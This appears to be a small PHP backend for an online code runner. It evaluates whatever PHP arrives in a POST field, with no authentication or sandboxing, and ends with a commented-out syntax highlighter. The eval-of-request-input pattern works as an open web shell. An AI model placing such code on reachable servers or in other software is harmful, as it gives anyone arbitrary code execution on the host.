<?php
//var_dump($_POST);
if(!empty($_POST)){
	if(get_magic_quotes_gpc())	//magic_quotes_gpc=On
		echo eval_php(stripslashes($_POST['content']));
	else{
		echo eval_php($_POST['content']);
	}
}
function eval_php($content)
{
    ob_start();
    eval("?>$content<?php ");
    $output = ob_get_contents();
    ob_end_clean();
    return $output;
}

// function syntax_highlight($code){
//  // this matches --> "foobar" <--
//  $code = preg_replace(
//   '/"(.*?)"/U', '"<span style="color: #007F00">$1</span>"', $code
//  );
//  // hightlight functions and other structures like --> function foobar() <--- 
//  $code = preg_replace(
//   '/(\s)\b(.*?)((\b|\s)\()/U', '$1<span style="color: #0000ff">$2</span>$3', 
//   $code
//  );
//  // Match comments (like /* */): 
//  $code = preg_replace(
//   '/(\/\/)(.+)\s/', '<span style="color: #660066; background-color: #FFFCB1;"><i>$0</i></span>', 
//   $code
//  );
//  $code = preg_replace(
//   '/(\/\*.*?\*\/)/s', '<span style="color: #660066; background-color: #FFFCB1;"><i>$0</i></span>', 
//   $code
//  );
//  // hightlight braces:
//  $code = preg_replace('/(\(|\[|\{|\}|\]|\)|\->)/', '<strong>$1</strong>', $code);
//  // hightlight variables $foobar
//  $code = preg_replace(
//   '/(\$[a-zA-Z0-9_]+)/', '<span style="color: #0000B3">$1</span>', $code
//  );
//  /* The \b in the pattern indicates a word boundary, so only the distinct
//  ** word "web" is matched, and not a word partial like "webbing" or "cobweb" 
//  */
//  // special words and functions
//  $code = preg_replace(
//   '/\b(print|echo|new|function)\b/', '<span style="color: #7F007F">$1</span>', $code
//  );
//  return $code;
// }

?>
